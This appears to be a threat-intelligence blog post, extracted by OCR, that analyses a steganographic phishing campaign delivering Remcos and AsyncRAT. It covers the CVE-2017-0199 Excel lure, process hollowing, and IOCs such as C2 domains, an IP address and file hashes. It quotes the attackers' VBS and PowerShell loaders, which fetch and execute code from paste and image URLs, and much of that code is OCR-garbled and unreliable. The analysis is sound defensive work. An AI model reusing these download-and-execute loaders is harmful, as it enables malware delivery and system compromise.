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New Steganographic Campaign Distributing Multiple Malware

Recently we have observed multiple stealer malware such as Remcos, DcRAT,AgentTesla,
VIPKeyLogger, etc. distributed through a steganographic campaign. On tracing the roots, the
campaign has been around for a while but has not been active since long. What makes the
campaign interesting is the way the attack is orchestrated.

In this blog, we will discuss distribution of Remcos and AsyncRAT via the campaign observed by

us.
Infection- Chain:

The infection-chain starts with a phishing mail containing an excel file which exploits a
vulnerability in excel and issues an http request to download a .hta file. The .hta file consisting of
.vbs code writes a batch file which connects to a paste URL and downloads another obfuscated .vbs
script. The .vbs script downloads a .jpg file containing padded base64 encoded second stage
payload (malicious loader) file, which is decoded, and a function VAI is invoked through script.
The loader file which gets a URL and targeted process name as argument, downloads a reversed

base64 encoded file which when decoded gives us the final payload.
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Fig1.Infection chain


https://www.seqrite.com/documents/en/white-papers/vipkeylogger-unveiling-a-multistage-keylogger-and-stealer.pdf
https://www.seqrite.com/documents/en/white-papers/vipkeylogger-unveiling-a-multistage-keylogger-and-stealer.pdf

Phishing Email: The initial point of attack is a phishing email, containing a malicious excel

document which masquerades itself as a genuine file tricking users to open the attachment which

contains the malicious code.
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Fig2.Phishing Email
Excel document containing malicious ole package:

The file is an exploit which leverages vulnerability CVE-2017-0199. It contains an embedded OLE2

embedded link object which issues an http request when we open the file.
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Fig3.0le package from the excel document
.HTA Script

.hta file contains vbs code (Fig.4) that writes batch file which connects to a paste URL and
downloads a vbs file which is a script with a huge chunk of garbage code (Fig.5).

ScCcript language="VBScript"™>
Dim semicircle
Set semicircle = CreateObject ("WScript.Shell™)

Dim JuscJohn
JustJohn = "C:\Windows\Temp\terga.bac™

Dim propranclol, pregreased
Sect propranclol = CreateObljecTt ("Scriprting.FileSystemOblect™)
Set pregreased = propranclol.CreateTextFile (JustJohn, True)

pPregreased.Writeline "@echo offe™



pregreased.wWriteline “setlocal™

pregreased.Writeline "set ""fugues=C:\Windows\Temp\forebemoaned.vbs™"™"™

pregre ed.WritelLine "> & ""“sfuguess ™" " & =~ (-

pregre d.WritelLine - echo Dim noncatalog, documentarisc™

pregre d.WritelLine - echo noncatalog — “"DLIRSI//Daste.ee/Al/dqQCTPARPV/O™™"

pregreased.WritelLine - echo Set documentarist - CreateObjlect” (""MSXMLI . XMLHTTITP™="~) "~

Ppregreased.Writeline - echo documentarist.open ““GET™™, noncatalog, False™
-
-

Ppregreased.Writeline echo documentarist.send™

pregreased. . WritelLine echo If documentarist.Status = 200 Then™
pregreased. WritelLine echo ExecuteGlobal documentarisct.responseTexc™
ed.WritelLine - echo Enda I~

d.WritelLine *)*

d.WritelLine “start """ /b wscript J/J/nologo TTsrfuguess™TT™
pPregreased.Writeline "timeout /Tt 1 /snobreak >nul™

pregreased.Writeline “del ""sfuguess”""

pregreased. . Writeline "endlocal™

pregreased.Close
semicircle.Run "cmd.exe /c ™ & JusctJohn, 0, False

window.close
“/mscripto>
- </ head>
“Jebody>
Eec/boavs

Figq.HTA file

The script writes VBS Script2:
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4 wvillagization = eszopiclone(villagization)
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116  dozens = dozens & “olllS I ¢<Ave P rlS ) YAV eaPgs”

117  dozens = dozens & “hilllS i <SAv el QoS I SAveea@PQll NN ) {<Ang P ge”
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115  dozens = dozens &« "M I<SAvo«QP - CEEIS )¢ SAn o 0P QonllS J< AN & »Q P CuBS )L SAN G s0P A"

120  dozens = dozens & “nflS i <<AavgeaPd "l ~ e go”
- .
- .
- .

121 dozens = dozens & "GN <SAve e I EIS ) YAveeaPggo = IS AN PO

122 dozens = dozens & villagization & "'; *

123 dozens dozens "SoWjuxd =
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126 dozens = eszopiclone (dozens)

120 Set Lesvos = CreateObject (*WScript.Shell®)

Fig5.VBS Script2 containing junk code

On removal of the junk code and simplification, we get a base-64 encoded script which will be run
using PowerShell (Fig.6).

villagization = eszopiclone(villagization)

dozens = “"powershell -NoProfile -Command $Codigo =

N Jrmmgmuvoujmqammuvqamcmtwmnmomnmvuqnmunvqn‘nm-nm AGIADYG ADOA gBSAGOAZQDLAHMALWE j AGOAAWAY
4ANQAOADIALGAYADCAMQAVAC S AOGDWAHQAAABOACCAOWAKAGQAZQBGAGUAYWBOACAAPQAJACQAZADDAGY, Y Y Y ADQAGACOACGE LAHAADABhAGMAZ
WACCAI'M\!AW7AWBWMMPMIMLAWMOMMCMGACGMIAZWVADH.MMDIMJM‘l“"‘ SADMALWA JACOADgDL YQDNAG
UALg dg! ‘l"YIYQBI\WAIM9ACM"QBIMCALQBPMIMGBlmmwlwqu‘l‘:‘qllmm!mh\'gbmqbIM‘AGM7ACQAJQBIM4MHGSWJACVMADOAXAI
WMZAMWBMMNM AGEAJABRACGAJIAD. 9 AGUAKQATACQACWE LANYAZQOBYACAAPQAGAT AABLAGOAL 4ARQDUA
wmww SAZWACACQAAGBLAGY. ZOBZANQAIAASACAA Nlﬁll’h‘l{‘ 1-7lwrmnumu0mchmu
nmusmnmsemmmmmmxnsnmnemmnmwnmmnzumomnmucgnmmanmmvuonmanquucuwcmmmxuqnym(uqnumzquur.ng
WMWMOMWWWHWWBIMMBWBMB:ACAAWCQAMIMYAZQBVASJMQBWtQB(A!SAIWACNCVBOMIWB CWAPADSA

GOAIAATAGCAZQ IAAL. KACAAJABDAGAA hANQAAQBVAGAACWAGACOAZWBOA e AOWA YQ! kAbg
MWWMMMWWOAC“'MWGM\GOMQMZQGMSAZQBOWXMQMJlm‘m”wo!vﬂllwo&m‘lc‘ AGEA KAD kAZ
AATACQAJAD 1 AHMAAABDAGYAAQB LAHMATAASACAAJAD ZAGUAAGBLAH IALGBTAHUAY Y AZWAOACQI h TIVQMAGYMQBW!?MQBRACIA!MWIHAZQBIMSMQBOWK@TAWBIM‘AZQBYM
E AAFQAGAFSA S dAD1AGOAL gB2AGUACYDBO ""lCMYMGBVMOAWBWWMOMWQDWWBMWMUZQDZMMAWMGBWQH
VAGEAZQBYACAAPQAGATSAUWDS AABLAGOAL KAD lmlZMMZQB(ABIADABSAFOAOQAGmlml‘mmwYMQBWUACOBPMQMQBVM‘ACHWSAJM“GubQDlMQl
IMSWYQB)AMWXM9MW‘MWIMDJA!BMB!AGGMBMIV IWAPAC4ASQBUANYADWD IAGUAKAAKAGAAAQD sSAGWALAAGAF sADWD LA
GOAZQDIAHQAWWDAAF OAIABAACGAJAD KAGUAAQD LAGMAJAASAC CAJWASACCAIWASACCAIWASAC CAQWBhAHMAUABVAGWATWASAC CATWASACCATWASAC CAJNA:AC CAJWASACCAIWASACCATWASACCATWASACCATWASACCATY
ASACCAJWAPACKA'
$OWjuxd = [System.Text.Encoding)::Unicode.GetString(”([Convert)::FromBaseé4string($Codigo.Replace('s', 'A')));

Invoke-Expression $owjuxd

Fig6. VBS Script2 after removal of junk code

¢diffractograms'txt.emnevigyawtsebnosgnihtdoogtsebymees/cmk/ppmax/71.321.542.271//:ptth';
Sdeject-Sdi!traccoqrm-replnce’ $','c";

Sviffciblem'http://67.217.247.193/712/wnc/new _image.ipg';
$leVeragesNew-ObjectSystem.Net.WebClient;

$jungles=Sleverage.DownloadData(Svincible) ;

$downloading jpg file with baseé4 encoded injector pe file

$severm(System.Text.Encoding) : :UTF8.GetString ($jungles) ;

Spettiestm' <<BASE64_START>>';

$rhyncholophuss' <<BASE64_END>>';

Sparaffinoide$sever.Indexof ($pettiest);

S¢insinuationsmSsever.Indexof (Srhyncholophus) ;
Sparaffinoid-gel-andsinsinuations-gtiparaffinoid;

SparaffinoidesSpettiest.Length;

$seekethmfinsinuations-Sparaffinoid;

StestifiesmSsever.substring($paraffinoid,$seeketh);

$decoding baseé4encoded part

$venerations=(System.Convert]::FromBaseé4String(Stestifies);
Spensioners([System.Reflection.Assembly)::Load($venerations) ;
$dimethylacetals(dnlib.I0.Home) .GetMethod('VAI') . Invoke ($null, [object (1)@ (Sdeject, ', "", "', "CasPol’, "', """ ', ', rr, 0, rr, ')




Fig7.Decoded VBS Script2

Take note, here while VAI method is being invoked, url is being passed in first argument which is
stored in $deject variable and the fifth argument is also important which we will discuss later while
discussing our second payload which is injector dIl.

In a similar way we found AsyncRAT being distributed, mostly the initial chain will be the same,
but we weren’t able to trace it back. In AsyncRAT’s case, the vbs script is masquerading as
prnmngr.vbs tricking the user into thinking of it as a genuine script which adds, removes, and lists
printers or printer connections, in addition to setting and displaying the default printer. But there
is a small chunk of malicious code inserted in between to escape suspicion.

=
i
i

Copyright (c) Microsoft Corporaction. All rights reserved.

Abstract:

' pramngr.vbas pPrinter script for WMI on Windows
® used Tto add, de lete, and list prainters and connections
o alsc for getting and setting the default printer

Usage:

promng:r [~adxgTtl?] [coO] [~ server)](-p princter)] [-m iriver m iel] [-xr porct])
. [-u userx name] [~w password)

Examples:

' proamngr —a —-p *printer*” -m “driver™ —-r "lptl:*™
' pramngr -d -p "printer™ —-s server

' proamngr —ac — "\\server\printexr"™

* proamngr -d —-p “*"\\server\printerxr"™

' promngr »x & server

promng:x 1 s server
pProamngr g
pramngr =

| = “*prainter

option explicic

On Error Resume Nextc
.

* Debugging TtTrace Tflags, To enable debug OUuTtput Trace message

* change gDebugfFlag Tto Ttrue.

const kDebugTrace = 1
const kDebugError = 2
dim gDebugFlag

Fig8.prnmngr.vbs distributing AsyncRAT

Below is the chunk of code, which downloaded the JPG image from the hard coded URL [hxxps://
watchonlinehotvideos[.]top/omfg[.]jpg] similar as explained in the previous case

Set ob)Shell = CreateObjlect (“WScript.Shell™)

objShe il .Run “~“Ci\Windows\SystemiZ\WindowsPowerShell\vi.O\powershell.exe"" —Command ““if (Snull -ne SPSVersionTable -and
SPSVersionTable.PSVersion -ne $null) ( (void)sPSVersionTable.PSVersion |} else ( Write-Output *‘PowerShell version Not available® )rif
($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) ( (void]s$PSVersionTable.PSVersion ) else ( Write-Output

‘PowerShell version Not available® ):&
RLCLLOtURLAZPPOWIKA = ‘httpei//w

JHet . WebClient : & xWaaShgks 1 kNx KIAW

m.Text.Encoding] 1 iUTFS.GetString (SXWaasShgks 1 kKNxKKAWZCN) 7 &

SE64_END>>"*; SulmiNPe ItWI1eWpLEKDLXO = SgaBkxXnfKKcIWNUOPLPJL.IndexOr (Sap MHLUBNAUNCUPTLUZ) 7 § FORZOTPe LamWKKGOTBNG -

SPABEkRNEKKCIWNUOPLP I . IndexOf (SemaiKemtdkGmeugtloZae) 7 SulmiiiPe I tWieWp LKbLXO 0 ~and $LORzZOTPeLamWKEGQTBNC -gt

SulsmiiFe ItWieWpLiKblxo SulmiiPe ItWieWpLikKblxe += SapsComMLUbBAUAQuUpPprlusz.length;sielGmWIWLPCAKkURIGQUO = §fORzoTpelasmWiKkGQeBnC -

SuLmiiPe ItWieWpLkblxo s § LLdhL kPoLpasveWWmbGkh BikxnfKkcIWNUOPLPJILl.Substring (SulmiiiPe ItWieWpLkblxo,

& e LOmW SWLPCRKURLGQUO) 7 KNIz PAbKWWoCgWhkilcr = -join (SLLANIkPOLpEZveWWmBGKh . ToCharArray() | ForEach-Object ( &_

1) [~1..-(SLLANIKkPOLpEVveWWmBGKh . Length) ] 7 $tWWLACBhoULzigonbWlk =

[System.Convert] : : FromBaseé45tring (SKNJIz PADKWWCCQWNRKLICE) 7 SWKDWNGLh L KPLMKCACLOT =

[System.Reflection.Assembly] i i Load (S TWWLACBhCULS1gonbWik) 7 $oVEKINALVACCQIPONOOL =

(AN1ib.I0.Home ) .GetMethod (*VAI®) ; $evEKINALVACCQIPEONOOL. Invoke (snull, @(SrestoredText, *GKrkeUulkkLtaZcPLmzO®,

‘GKrkeUulkkltaZcPlmzO', ‘GKrkeUulkkitaZcPlmzO', *MIDuild’, *GKrkeUulkkltaZcPLmzO®,

*OKrkeUulkkltaZcPlmz=O', *OKrkeUulkklicaZcPlmz=0", *OKrkeUulkklcaZcPlmz=0", *OKrkeUulkkltaZcPlmz=0", *OKrkeUulkkltaZcPlm=0", *OKrkeUul kklcaZcPL

mzO*, *1*, *GKrkeUulkkltaZcPLmzO"’, *TaskName *) ) ;4f ($null -ne SPSVersionTable -and SPSVersionTable.PSVersion -ne Snull) (

(void) $PSVersionTable.PSVersion ) else ( Write-Output ‘PowerShell version Not available® )7if ($null -ne $PSVersionTable -and

$PSVersionTable.PSVersion -ne $null) ( (void]sPSVersionTable.PSVersion ) else ( Write-Output *PowerShell version Not available®

yz===, 0, True

originalText = *
chonlinehotvide

ANQLSGP/ =/ e . atnap/ /i ap#sh' isrestoredText = SsoriginalTlext -replace *#°,
.. COR/S 7 SLGPOKAIRZlzmiWIoUoCoY = New-Object

AData ($aRLOLLCTUNRLLZPROW1KAG) 7 SgaBkxnfKKCZWNUOPLPIL =
Prius = *<<BASE€4_START>>"*;SemalKemtdkGmougtloZe =

Figg.VBS script containing malicious code

Set objShell = CreateObject (& )

ob3Shell.Run ~ \Windows\System3Z\WindowsPowerShell\vli.O\powershell .exe™" -Command “~1if ($null -ne SPSVersionTable -and
SPSVersionTable . PSSV on -ne $null) ( (voidléPSVersionTable.PSVersion ) else ( Write-Output °‘PowerShell version Not available® )7
Af (Snull -ne SPSV ~and $PSVersionTable.PSVersion -ne Snull) ( (void]éPSVersionTable.PSVersion ) else ( Write-Output
*Powerx hell versi vailable®* )2

soriginalText = comag
tReversed url

- storedText = SoriginalText -~replace "#° :
SanlCLLotURLizPpoWliKd = ‘hutps watch te mfg.3pg

SLGPOKAIRIlLzmKWIOUOoCY = New-Object System.Net.WebCl
CXWAATHOKZ IKNXKKAWZCN = SLOPDOKAIRZIzZmKWIoUocV.DownloadData (SanLCLLotUNRLL zPpoWlKa) »

SPABKXNIKKCIWNUOPLPIL = ([(System.Text.Encoding] : :UTFe.GetString (SxWaaShgks i kNxkKAWZcN) 7
SapsComNLUBNAUNQUPTrLus = *<<BASE6S _START *; temaiKemtdkGmouqeloZe = *<<BASE64_ENI ?
SUlmiiPe ItWipWPLKDLRXS = SgaBkxnfKkcIWnuOPLPpJIl. IndexOf (SapsComilUbnUnQupriauz) 7

S fQRzoTpe LamilKkGQrBnC
SuLmiNPe I tWieWpLKbLxo
SuULmiNPe I tWieWpLKbLxo

ABkxnfKkcZWnUuOPLPJl . IndexOf (SemaiKemtdkGmougCloZe) 7

o d $IfQRzOoTpeLamWKkGQuBnC -gt SulmiNPeltWieWpLKbLxo s

omHLULNAUNQuUEPprluz . Length s KeLGamW IWLPCNkURLIGQUO = SIfQRzoTpeLamWiKkGQrBnC - SulmiNPeltWieWpLKblLxo: s

XN LKKCZWNUOPLPJIL . Substring (SulmiNPe ItWieWpLEKDLXO, ¢ KelLGmIWLPCNKURLGQUO)

| ForEach-Object ( &_ )) (-1 (SLLANL K POLPpEVeWWmMBG KN . Length) ) 7
gwnkilcr) :

s
LLANIKPOLPEZvVeWWmBGKkNh — Sga
SENIZPADKWWOCQWNKLICY = =301n (SLLANILKPOLPDEVeWWMmBGKN . TOCharArra

SEWWLACBRCULZIQONDWIK = [System.Convert)]::Fr
$.3p9 Tile bDasedd e e a
SHIBWROLNLkPLeNcAclor =

mBasesSTring (SN

ALl mechod in

m.Reflection.Assembly) 1 1 Load (STWWLacBheUizigonbWik) 7



Fig10.Above snippet simplified

Same as we took a note for previous script, here the first argument passed is our reversed URL in
variable $restoredtext and looks like a gibberish value/ random string being passed in other

arguments and again we will keep fifth argument in mind.

In both cases the sample is using steganography, the jpg file (Fig11.) downloaded conceals itself as

a harmless picture which contains base64 encoded malware. As you can see in Fig7., it checks the
marker <<BASE64 START>> and <<BASE64 END>> to get the whole malicious file and that is
then decoded.
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Fig11. TXT file containing embedded base64encoded PE file

Both the files are VB.NET dll file with internal filename as “Microsoft.Win32.TaskScheduler.dll”

maybe to trick users in thinking it as a Microsoft dll.

Comments Provides a single assembly wrapper for the 1.0 and 2.0 versions of Task Schedul...
CompanyName GitHub Communi

FileDescription Microsoft.Win32. TaskScheduler
FileVersion 2.11.0.0

InternalName Microsoft.Win32.TaskScheduler.dll
LegalCopyright Copyright © 2002-2024
OriginalFilename Microsoft.Win32.TaskScheduler.dll
ProductName ) i
ProductVersion 2.11.0.0

Fig12. DLL using microsoft’s name to trick users

Both DLLs are obfuscated but on different levels. The one that that we got from Remcos campaign
even has some common .NET function name obfuscated but in other case some of it were straight.

But the code of the DLL was the same, doing the same thing.

The DLL code is obfuscated but we can see the arguments being passed to it. Threat actor invoked
the VAI method with 15 arguments. Based on passed argument the method will have capabilities

such as loading another malware executable by process hollowing, creating persistence, etc.

QBXtX startupreg, caminhovbs, namevbs, netframework,

nomenativo, persitencia url, caminho, nomedoarquivo, string 0,



startuptask, taskname

minutos

minutos,

persitencia,

Fig13. DLL code

The first argument passed in the script (Fig7. /Fig10.) while invoking the method is our URL
stored in variable $deject/$restoredtext is passed here as QBXtX.

The value persistencia is null/gibberish value and the other value, which is passed decodes to 1,
this is passed to Delegate11.smethod_o0 and it returns boolean value. So, the final value will be 0
and the condition will fail. Hence, there will be no activity to remain persistent.

Fig14.Decoded dll function

The reversed URL, which is passed in argument QBXtX is stored in “text5” is reversed and with
help of web client it downloads the data in “text6” string which is base64 encoded data in reverse
format (Fig14). This is our final payload which alongwith the path “C:\Windows\SysWOW64”
(decoded from Class219.smethod(10577)) of “caspol.exe” / “msbuild.exe” (fifth arguments) is
passed as an argument to the “Tools.Ande” function. This function does the process hollowing with
the targeted process which is being supplied as fifth argument (Fig15).

string O, string_1,

string 1
text, , string_1);

(string O, text,

Fig15. DLL creating process for process hollowing



As shown above, a new process is created using CreateProcess API in suspended state. The newly

created process is unmapped using NtUnmapViewOfSection and memory is allocated using

VirtualAllocEx, where the malicious code is then injected. With the use of SetThreadContext it

adds the entry point to the injected code and finally, the process is resumed with ResumeThread.

In our case, the final payload that we got is a Remcos and AsyncRAT Sample (Fig16).
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Fig16. Final payload which will be injécted in clearnrpforcessr

Final Payload: Remcos

Remcos has always been around the malware world since its inception in 2016. From version as

early as 1.0 to the most recent one, what keeps Remcos still relevant is in handling its core

capability of command and control. Starting as a closed-source tool that was marketed as remote

control and surveillance software, Remcos has come along a long way.

Remcos mostly have a setting block with a batch of configurations which is encrypted and saved in

the Resource section named “SETTINGS,”. It gets decrypted at the start and initializes Remcos

with the setting block.
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Fig17.Remcos resource section
0418948 53 push ebx
M 180 7 Dus e aal! minkerne nta arinit.c
L 74 h edi di : "mink T\ lard



!;A 0A E\.;b
004189AF 68 9CDD4600 push 428.46DD%
FF35 94304700 push dword ptr ds:[473094]

8809 mov ebx,ecx

FF15 64914500 call dword ptr [L<&F indResourceas ] |
h 8u+8 moy € L Bax

85FF test edi,«

74 27 ¢ 428.4189%F

56 push e

push edi

FF35 94304700 push dword ptr : 230

FF15 70814500 Eal) dword prr -

50 ush eax

FF15 68914500 F.ﬂl dword ptr : (<M ockrResource>)

57 push ed

FF35 943D4700 push dword ptr ds:[473094)

8er0 moOv » Cax

FF15 44914500 €all dword ptr ds:[«<&51zeofResource>)

8933 mov dword ptr ebx],es

5S¢ pop

SF pop

58 pop ¢

c3 ret

55 push el

RACC mow

Fig18. Remcos loading Resource data

Remcos connects to C2 for C&C communication and further awaits the commands sent by the
attacker. The key details from the configuration data extracted is as follows:

C2: interestedthingsforkissinggirlwithloves[.]duckdns[.]org

Filename: Remcos.exe

Botnet name: zynooo?y

Mutex Created: Rmc-IB3RDF

Further, in some cases Remcos is seen deploying malware like AgentTesla too.
Final Payload: AsyncRAT

AsyncRAT is a remote access Trojan (RAT), written in C# which offers standard RAT and
information-stealing features, including the capabilities of logging keystrokes, execution/injection

of additional payload, command-and-control, etc.

The backdoor has capabilities based upon the embedded configuration. As you can see in the figure
below (Fig19.), the execution starts with a De_lay function which defines sleep duration, mostly

done to evade sandboxes.




Fig19.AsyncRAT Main function

The InitializeSettings() function here accesses all the hardcoded configuration which is AES

encrypted.

fla

Fig2o0. Initialize settings function

The verifyhash() function (Fig20.) in last checks if the configurations are valid or not using the
server certificate and server signature. The key details from the configuration data extracted are as

follows:

Ports:7878
Hosts:148[.]113[.]214[.]176
Version:1.0.7

MTX: asasasas2242dqwe
Pastebin: null
Group:Diama

The Pastebin value is used by “WebClient.DownloadString” APT (Fig21.) which can download

additional resources and other payloads from Pastebin or other domains. In our case, it is null, so

it selects hosts and port from the configuration and employs socket connection to interact with C2.




Fig21.InitializeClient Function

I0CS:

Remcos IOC’s

9d66405aebffoo8occ5d28a1684d501fa7e183dc8b6340475fc06845509¢b466

42813b301da721c34calaca29ce2e4c7d71ae580b519a3332a4ba71870bb6as8e

f67¢6341bfe37f5boscooaodda738f472fdabd6eag4ca8dcy61f57f11ce12036

aed291c023c3514fbg7b4e08e291e03f52deg1a2a8d311491bg4ab8299dboaaof

faed55edo102b1b2e3d853e8633abecbbgcec6asf41c630097d8eaeefatban60

C2: interestedthingsforkissinggirlwithloves/.]duckdns/.]org

C2: freebirdkissingonmylipswithnicefeelings[.]duckdns][.]org

AsyncRAT

b8fc29c02005¢84131f34deo83c2e81cdf615ff405877f9e73400bf35513c053

2d4ab87fgea104075d372f4c211b1fb8gadec60208d370b8fb2d748e1a73186¢

b2e8f720740bbd46f6ae3f450f265ace1044fe232141fbd84f269eafeb290812

a582e7e5b3ac37895e7cf484aaa8eaq77debgod9gb47b2dgbfc018c604573889

C2: 148[.]113[.]214[.]176

Detections:
Backdoor.Remcos

Backdoor.MsilFC.S13564499

Trojan.loaderCiR
MITRE ATTACK TTPs:
Tactic Technique Name
ID
Initial Access (TA0001) T1566 Phishing
Execution (TA0002) User Execution
T1204
Persistence (TA0003) T1547.001 Registry Run Keys/ Startup Folder
Defense Evasion (TA0o005) T1055 Process Injection
T1027 Obfuscated Files or Information
T1036.004 | Masquerading Task or Service




Discovery (TA0007) T1614 System Location Discovery
Exfiltration (TA0o010) T1041 Exfiltration Over Command-and-Control
Channel
Command and Control T1001.0012 | Steganography
(TAoo11)
Conclusion:

In this blog, we discussed the full attack-chain of the recent Steganographic campaign, where a
harmless looking JPG file was revealed to be containing an injector DLL with malicious
capabilities. We also explored how each malicious payload was carefully downloaded and executed
in a highly methodical manner. The attack relied heavily on sophisticated masquerading
techniques that can often deceive even experienced users. As is common, the chain of events began
with a phishing email that contained an exploit which through multiple stages, ultimately deployed
RemcosRAT/AsyncRAT (with the potential for other RATs or backdoors to be distributed in a
similar manner). The command-and-control server, in this case, has the capability to deploy

additional payloads, further compromising the victim’s system.

This campaign highlights the critical importance of remaining vigilant and adopting robust
cybersecurity practices to safeguard both our safety and the integrity of our data.
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